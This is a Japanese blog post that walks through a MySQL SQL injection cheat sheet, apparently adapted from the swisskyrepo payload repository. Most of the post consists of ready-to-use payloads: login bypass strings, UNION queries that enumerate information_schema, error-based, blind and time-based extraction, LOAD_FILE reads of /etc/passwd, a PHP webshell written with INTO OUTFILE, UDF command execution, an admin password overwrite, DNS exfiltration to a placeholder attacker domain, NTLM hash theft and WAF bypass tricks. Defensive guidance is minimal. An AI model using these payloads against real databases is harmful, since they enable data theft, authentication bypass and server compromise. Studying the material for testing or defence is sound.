top of page
IMG_0546.JPG

MySQLを使うなら一応一読しておいて欲しい内容:MySQL インジェクション:2025/02/19

  • 執筆者の写真: 晋次 宮田
    晋次 宮田
  • 2025年2月19日
  • 読了時間: 8分

ここでは、SQLインジェクションの聖書と言われている(勝手に私が言っているだけですが)swisskyrepoの内容を紹介します。SQLインジェクションの原理や代表的な攻撃手法から対策例までを解説し、本質的な仕組みを理解できるようまとまっている素晴らしいRepositoryです。

軽く流し読みするだけでも面白いので、元の文章も含めて目を通しておきましょう。(残念ながらエンジニア以外には全くおもしろくない内容です。)



1. MySQL Default Databases(MySQL デフォルトデータベース)

名前

説明

mysql

root 権限が必要。ユーザー情報や設定が格納されている。

information_schema

MySQL 5以降で利用可能。DBやテーブルなどメタ情報を保持

解説

  • mysql データベースはユーザーパスワードや権限情報が格納される特別なDB。書き換えできる権限を持つと非常に危険。

  • information_schema はテーブル構造やカラム情報などを格納するメタデータDB。攻撃者はここからテーブル名・カラム名を一気に取得できる。



2. MySQL Comments(MySQL コメント)

Type

Description

#

ハッシュコメント

/* MYSQL Comment */

C スタイルコメント

/*! MYSQL Special SQL */

特殊な SQL コメント

/*!32302 10*/

MySQL バージョン 3.23.02 用のコメント

--

SQLコメント(末尾にスペースor改行必須)

;%00

Null バイトを表す

```

バッククォート

解説

  • 攻撃者はコメントを利用して SQL 文の一部を無効化したり、WAF回避のためにキーワードを分割したりする。



3. MySQL Testing Injection(MySQL インジェクションテスト)


文字列型の例

SELECT * FROM Table WHERE id = 'FUZZ';
  • ' → False

  • '' → True

  • " → False

  • "" → True

  • \\ → False

  • \\\\ → True


数値型の例

SELECT * FROM Table WHERE id = FUZZ;
  • AND 1 → True

  • AND 0 → False

  • AND true → True

  • AND false → False

  • 1-false → 脆弱性があれば 1

  • 1-true → 脆弱性があれば 0

  • 1*56 → 脆弱性があれば 56


ログイン画面での例

SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';
  • ' OR '1

  • ' OR 1 -- -

  • " OR "" = "

  • " OR 1 = 1 -- -

  • =0--+


解説

  • 文字列型・数値型でインジェクションが可能かどうかをテストする典型的な文字列。

  • ログイン画面などで ' OR 1=1 -- - を試すと、パスワードなしでログインできるかどうか確認ができる。



4. MySQL Union Based(UNION ベースのインジェクション)


4.1. Detect Columns Number(カラム数を特定する)

UNION ベースで攻撃する際は、UNION SELECT によるカラム数を正確に一致させる必要がある。


4.1.1 Iterative NULL Method(反復的な NULL メソッド)

NULL の数を増やしながらテストし、エラーが消える数を探す。

UNION SELECT NULL;--
UNION SELECT NULL, NULL;--
UNION SELECT NULL, NULL, NULL;--

4.1.2 ORDER BY Method(ORDER BY メソッド)

ORDER BY 1, ORDER BY 2... と増やし、エラーが発生した番号 - 1 がカラム数となる。

ORDER BY

結果

ORDER BY 1--+

True

ORDER BY 2--+

True

ORDER BY 3--+

True

ORDER BY 4--+

False


4.1.3 LIMIT INTO Method(LIMIT INTO メソッド)

1' LIMIT 1,1 INTO @--+ など、エラー文に「異なるカラム数を持つ SELECT ステートメント」と表示されるかを見ながら、カラム数を推定する。


4.2. Extract Database With Information_Schema(information_schema からのDB情報抽出)

全データベース名:

UNION SELECT 1,2,3, GROUP_CONCAT(schema_name) FROM information_schema.schemata

特定スキーマのテーブル一覧:

UNION SELECT 1,2,3, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=...

カラム一覧:

UNION SELECT 1,2,3, GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=...

解説

  • information_schema を使うと DB 構造を丸ごと列挙できる。

  • GROUP_CONCAT で複数行をまとめて一度に表示可能。


4.3. Extract Columns Name Without Information_Schema(information_schema なしでカラム名抽出)


JOIN などを用いてカラムの衝突を起こさせると、エラー文に実際のカラム名が表示される場合がある。

WAF や権限の問題で information_schema が使えないときの代替策。


4.4. Extract Data Without Columns Name(カラム名を知らずにデータを取得)


SELECT 4 FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM USERS)DB; のように、どの列が何番目に位置するかを指定してデータを抜き出せる。



5. MySQL Error Based(MySQL エラーベース)


データベースが吐くエラーメッセージに任意の文字列を埋め込める関数や手法を用い、そこに抽出したい情報を表示させる攻撃。

Name

Payload 例

GTID_SUBSET

AND GTID_SUBSET(CONCAT('~',(SELECT version()),'~'),1337)

JSON_KEYS

AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('~',version(),'~')) USING utf8)))

EXTRACTVALUE

AND EXTRACTVALUE(1337,CONCAT('.','~',version(),'~'))

UPDATEXML

AND UPDATEXML(1337,CONCAT('.','~',version(),'~'),31337)


5.1. MySQL Error Based - Basic

ROW(1,1)>(SELECT ...) のような記述でエラーを意図的に起こし、エラーテキストに @@version などを混ぜ込む。


5.2. MySQL Error Based - UpdateXML Function

UPDATEXML(rand(), CONCAT(0x3a, (SELECT version())), null) のように書くと XML パースエラーが起こり、そのエラー文に version() の結果が表示される。


5.3. MySQL Error Based - Extractvalue Function

EXTRACTVALUE(RAND(), CONCAT(…)) でも同様に XML エラーを起こして結果を漏洩させる。MySQL 5.1 以上で有効。



6. MySQL Blind(ブラインド インジェクション)


6.1. MySQL Blind With Substring Equivalent

SUBSTR(), SUBSTRING(), LEFT(), RIGHT(), MID() などを使い、DBのバージョン文字列を1文字ずつ確認する。


6.2. MySQL Blind Using a Conditional Statement(条件式)

' OR IF(MID(@@version,1,1)='5', SLEEP(1), 1)='2

バージョンが5なら1秒遅延、そうでなければ即座に返す。応答時間で真偽を判断する。


6.3. MySQL Blind With MAKE_SET

MAKE_SET(condition,1) などで、条件が真か偽かを確認する。使われることは多くはないが、WAF回避で試される場合あり。


6.4. MySQL Blind With LIKE

LIKE 'A%' で文字列が A で始まるかどうかを判定し、結果から1文字ずつ推測する。


6.5. MySQL Blind With REGEXP

正規表現 REGEXP を使い、条件が真のときと偽のときで応答を変えさせる。複雑なパターンマッチが可能。



7. MySQL Time Based(タイムベースのインジェクション)


クエリを実行する際に、SLEEP() や BENCHMARK() で応答を遅延させ、遅延時間により条件式の真偽を測る手法。


7.1. Using SLEEP in a Subselect

1 AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE 'TEST%')#

データベース名が TEST で始まるなら5秒遅延、といった使い方。


7.2. Using Conditional Statements(条件式で時間差)

IF(ASCII(SUBSTRING((SELECT USER()),1,1)) >= 100, SLEEP(3), 0)

条件が成立すれば3秒止まる。応答の遅さを観測して推論する。



8. MySQL DIOS - Dump in One Shot


DIOS は単一の複雑なSQL文で、データベース上の大量の情報を一気にまとめて取得する高度な手法。 GROUP_CONCAT や concat() などを駆使する。



9. MySQL Current Queries(現在のクエリ情報)


INFORMATION_SCHEMA.PROCESSLIST テーブルを参照すると、現在実行中のクエリやユーザーなどがわかる。

攻撃者が他ユーザーのSQL文やセッション情報を覗き見る恐れがある。



10. MySQL Read Content of a File(ファイル読み込み)


LOAD_FILE('/etc/passwd') などを使い、サーバー上のファイルを読む。

secure_file_priv の設定により制限がかかる場合もある。



11. MySQL Command Execution(コマンド実行)


適切な権限があれば、MySQL はファイル書き込みや UDF (ユーザー定義関数) を使った OS コマンド実行が可能。

WebShell の配置や OS 権限奪取につながることがある。


11.1. WEBSHELL - OUTFILE Method

UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:\\\\xampp\\\\htdocs\\\\backdoor.php"

Web ドキュメントルートにファイルを書き込んで遠隔操作を可能にする。


11.2. WEBSHELL - DUMPFILE Method

バイナリなど区切り文字不要で書き込む場合に INTO DUMPFILE を利用。

UNION SELECT 0x3c3f706870… INTO DUMPFILE '/var/www/html/shell.php';

11.3. COMMAND - UDF Library(UDF ライブラリを介した実行)

SELECT sys_eval('id'); などで、OS コマンドを直接実行できる可能性がある。

条件として lib_mysqludf_sys.so がサーバーに設置されているなどが必要。



12. MySQL INSERT(INSERT 悪用)


ON DUPLICATE KEY UPDATE を使い、既存ユーザー(例: admin)のパスワードを上書きする攻撃。

例:

("admin@example.com","P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd"


13. MySQL Truncation(文字数切り捨て攻撃)


VARCHAR などで設定されている最大長を超えた文字列が切り捨てられることで、意図せず同一キーと判断される。

admin+大量のスペース+a のように20文字を超えると、末尾がカットされて admin と同じ扱いになるケースなどがある。



14. MySQL Out of Band(OOB)


SELECT LOAD_FILE('\\\\\\\\attacker.com\\\\file') のように、外部リソースへアクセスさせて情報を漏洩させたり、NTLM ハッシュを盗んだりする手法。


14.1. DNS Exfiltration(DNS 経由)

SELECT LOAD_FILE(CONCAT('\\\\\\\\', VERSION(), '.attacker.site\\\\xyz'));

MySQL サーバーから攻撃者のDNSへ問い合わせが飛び、バージョン情報などをサブドメインとして送信できる。


14.2. UNC Path - NTLM Hash Stealing

Windows 環境で \\\\サーバー\\共有 を参照すると NTLM 認証が走り、パスワードハッシュを傍受される可能性がある。



15. MySQL WAF Bypass(WAF回避テクニック)


15.1. Alternative to Information Schema(information_schema の代替)

mysql.innodb_table_stats や他のシステムテーブルを参照してメタ情報を得る手段。

information_schema がブロックされていても、同等の情報が得られる場合がある。


15.2. Alternative to VERSION(VERSION の代替)

@@innodb_version や @@global.version など、同等のバージョン情報を取得できるシステム変数が多数存在。


15.3. Alternative to GROUP_CONCAT(GROUP_CONCAT の代替)

json_arrayagg() (MySQL 5.7.22 以降) を使用。

WAF が GROUP_CONCAT を検知しても、こちらなら回避できるケースがある。


15.4. Scientific Notation(科学的表記法)

1e3(=1000)などを使い、 ' or 1.e(1)=1 のようにWAFやパーサーを混乱させるバイパス手法。


15.5. Conditional Comments(条件付きコメント)

/*!50000 SELECT FROM ... / のように書くと、MySQL のバージョン5.0以降ならコメント内が実行される。

攻撃コードをコメントに包んでWAFをすり抜けるケースがある。


15.6. Wide Byte Injection (GBK)(ワイドバイトインジェクション)

GBK や SJIS といったマルチバイト文字セットを使っている場合、特定のバイト列がエスケープ文字を無効化することがある。

%df%5c (0xdf, 0x5c) が「1文字 + バックスラッシュ」に解釈され、SQL 文の文字列終端を意図せず抜けるなどの攻撃が可能。



16. References(参考文献)

 
 
bottom of page